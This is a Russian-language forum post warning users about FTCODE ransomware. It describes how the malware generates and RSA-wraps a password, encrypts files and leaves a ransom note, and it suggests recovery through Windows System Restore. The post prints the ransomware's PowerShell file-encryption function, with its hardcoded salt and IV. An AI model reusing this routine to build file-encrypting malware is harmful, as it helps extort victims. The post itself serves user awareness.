Что-то новенькое: FTCODE

В инете начал гулять новый сифак. При заражении шифрует все файлы. Файлы имеют вид: имяфайла.ftcode
Без участия пользователя не запустится. Так что будьте внимательны получая ссылки от непроверенных источников. КАк это работает:
1) генерирует пароль из 50 знаков.
2) шифрует его с помощью ключа RSA-1024 и отдает его в файл (остается в каждой папке) (этот пароль без 2-го ключа не расшифровать, а он у мошенника)
3) далее этим паролем (используя его как Passphrase) шифрует все файлы компа.

function Encrypt-File($item, $Passphrase) 
{ 
$salt="FTCODE hack your system"; 
$init="FUCKING INIT"; 
$r = new-Object System.Security.Cryptography.RijndaelManaged; 
$pass = [Text.Encoding]::UTF8.GetBytes($Passphrase); 
$salt = [Text.Encoding]::UTF8.GetBytes($salt); 
$r.Key = (new-Object Security.Cryptography.PasswordDeriveBytes $pass, $salt, "SHA1", 5).GetBytes(32); 
$r.IV = (new-Object Security.Cryptography.SHA1Managed).ComputeHash( [Text.Encoding]::UTF8.GetBytes($init) )[0..15]; 
$r.Padding="Zeros"; 
$r.Mode="CBC"; 
$c = $r.CreateEncryptor(); 
$ms = new-Object IO.MemoryStream; 
$cs = new-Object Security.Cryptography.CryptoStream $ms,$c,"W rite"; 
$cs.Write($item, 0,$item.Length); 
$cs.Close(); 
$ms.Close(); 
$r.Clear(); 
return $ms.ToArray(); 
} 

4) на раб. столе появляется текстовый файл read_me_now. Текст может быть разный, вот пример


в некоторых письмах даже указывают ценник.

Если же всё же поймали сифак, и он закодил важные данные вот способ (win7):


А ещё можно просто откатить винду на денёк назад через восстановление системы. (проверено)

Топик на касперсокм

Топик на ноде